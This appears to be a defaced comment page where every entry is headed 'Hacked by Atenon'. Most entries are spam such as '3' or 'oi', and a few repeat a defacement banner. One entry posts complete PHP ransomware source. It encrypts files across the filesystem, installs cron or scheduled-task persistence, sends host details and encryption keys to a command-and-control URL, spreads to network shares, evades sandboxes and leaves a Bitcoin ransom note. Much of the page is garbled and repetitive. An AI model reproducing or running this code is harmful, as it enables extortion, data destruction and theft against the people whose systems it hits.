коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 20.08.2024- 15:29
тема: Hacked by Atenon
dfgfdg
коментар: № дата: 05.06.2024- 05:59
тема: Hacked by Atenon
2d2d
коментар: № дата: 05.06.2024- 05:58
тема: Hacked by Atenon

$rescueMessage = "Seus arquivos foram criptografados. Para descriptograf?-los, envie 1 Bitcoin para o seguinte endere?o e entre em contato conosco: bitcoin_address@example.com. Use estas chaves: " . $key1 . " e " . $key2;
file_put_contents('/README_FOR_DECRYPTION.txt', $rescueMessage);

echo "Arquivos criptografados. Leia 'README_FOR_DECRYPTION.txt' para mais instru??es.\n";

?>
коментар: № дата: 05.06.2024- 03:06
тема: Hacked by Atenon


Pwned
rel="stylesheet"
href=""
/>




HACKED BY ---- BLACKEYE CYBER CLUB


pica-pau-origem-historia-personagens-e-curiosidades-1

SALVE PRO ELIOT E PRA DARLENE S2


Amigo ? coisa pra se guardarr...... do lado esquerdo do peito





коментар: № дата: 05.06.2024- 03:06
тема: Hacked by Atenon


Pwned
rel="stylesheet"
href=""
/>




HACKED BY ---- BLACKEYE CYBER CLUB


pica-pau-origem-historia-personagens-e-curiosidades-1

SALVE PRO ELIOT E PRA DARLENE S2


Amigo ? coisa pra se guardarr...... do lado esquerdo do peito





коментар: № дата: 05.06.2024- 03:05
тема: Hacked by Atenon
oi
коментар: № дата: 05.06.2024- 03:05
тема: Hacked by Atenon
oi
коментар: № дата: 05.06.2024- 03:05
тема: Hacked by Atenon
oi
коментар: № дата: 05.06.2024- 03:04
тема: Hacked by Atenon
Babayaga p? de cabra
коментар: № дата: 04.06.2024- 09:00
тема: Hacked by Atenon
ef
коментар: № дата: 04.06.2024- 08:59
тема: Hacked by Atenon

function ofuscar($data) {
return base64_encode(gzcompress($data));
}

function desofuscar($data) {
return gzuncompress(base64_decode($data));
}

function generateKey() {
return base64_encode(openssl_random_pseudo_bytes(32));
}

function encrypt($data, $key) {
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$encrypted = openssl_encrypt($data, 'aes-256-cbc', base64_decode($key), 0, $iv);
return base64_encode($iv . $encrypted);
}

function decrypt($data, $key) {
$data = base64_decode($data);
$iv_length = openssl_cipher_iv_length('aes-256-cbc');
$iv = substr($data, 0, $iv_length);
$encrypted_data = substr($data, $iv_length);
return openssl_decrypt($encrypted_data, 'aes-256-cbc', base64_decode($key), 0, $iv);
}

function encryptFiles($dir, $key) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
foreach ($files as $file) {
if ($file->isFile() && $file->getExtension() !== 'php') {
$data = file_get_contents($file->getRealPath());
$encryptedData = encrypt($data, $key);
file_put_contents($file->getRealPath(), $encryptedData);
}
}
}

function addPersistence() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$taskName = "UpdateService";
$command = "schtasks /create /sc minute /mo 1 /tn \"$taskName\" /tr \"" . __FILE__ . "\"";
system($command);
} else {
$cronjob = "* * * * * php " . __FILE__;
file_put_contents('/etc/cron.d/update_service', $cronjob);
}
}

function sendToC2($url, $data) {
$encryptedData = openssl_encrypt(json_encode($data), 'aes-256-cbc', 'senha-secreta-c2', 0, '1234567890123456');
$options = [
'http' => [
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query(['data' => $encryptedData]),
],
];
$context = stream_context_create($options);
return file_get_contents($url, false, $context);
}

function propagate() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$shares = shell_exec('net view');
preg_match_all('/\\\\\\\\(.*?)\\\\/', $shares, $matches);
foreach ($matches[1] as $share) {
$networkPath = "\\\\$share\\C$\\Users\\Public\\Documents\\";
if (is_dir($networkPath)) {
copy(__FILE__, $networkPath . basename(__FILE__));
}
}
}
}

function exfiltrateData() {
$data = [];
$data['hostname'] = gethostname();
$data['username'] = get_current_user();
$data['network'] = shell_exec('ipconfig' || 'ifconfig');
$c2Url = 'http://servidor-c2.com/receber_dados.php';
sendToC2($c2Url, $data);
}

function detectSandbox() {
$suspiciousProcesses = ['vboxservice', 'vmsrvc', 'vmusrvc', 'wireshark', 'processhacker'];
foreach ($suspiciousProcesses as $process) {
if (stripos(shell_exec('tasklist' || 'ps aux'), $process) !== false) {
exit(); // Termina se detectar processos suspeitos
}
}
}

function advancedEncrypt($data, $key1, $key2) {
$firstLayer = encrypt($data, $key1);
return encrypt($firstLayer, $key2);
}

$scriptContent = '';
file_put_contents(__FILE__, $scriptContent);

$key1 = generateKey();
$key2 = generateKey();

addPersistence();

exfiltrateData();

$c2Url = 'http://servidor-c2.com/receber_chave.php';
$data = ['key1' => $key1, 'key2' => $key2, 'hostname' => gethostname()];
sendToC2($c2Url, $data);

propagate();

detectSandbox();

$ignoredDirs = ['/proc', '/dev', '/sys', '/run', '/tmp', '/var/tmp', '/var/run'];

function encryptAllDirs($key1, $key2, $ignoredDirs) {
$allDirs = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/'),
RecursiveIteratorIterator::SELF_FIRST
);

foreach ($allDirs as $dir) {
if ($dir->isDir() && !in_array($dir->getPathname(), $ignoredDirs)) {
encryptFiles($dir->getPathname(), $key1, $key2);
}
}
}

encryptAllDirs($key1, $key2, $ignoredDirs);

$rescueMessage = "Seus arquivos foram criptografados. Para descriptograf?-los, envie 1 Bitcoin para o seguinte endere?o e entre em contato conosco: bitcoin_address@example.com. Use estas chaves: " . $key1 . " e " . $key2;
file_put_contents('/README_FOR_DECRYPTION.txt', $rescueMessage);

echo "Arquivos criptografados. Leia 'README_FOR_DECRYPTION.txt' para mais instru??es.\n";

?>
коментар: № дата: 03.02.2023- 14:00
тема: Hacked by Atenon
hbik j.
коментар: № дата: 13.01.2023- 18:31
тема: Hacked by Atenon
Msmsk
коментар: № дата: 14.11.2022- 08:47
тема: Hacked by Atenon
v
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3
коментар: № дата: 14.11.2022- 08:17
тема: Hacked by Atenon
3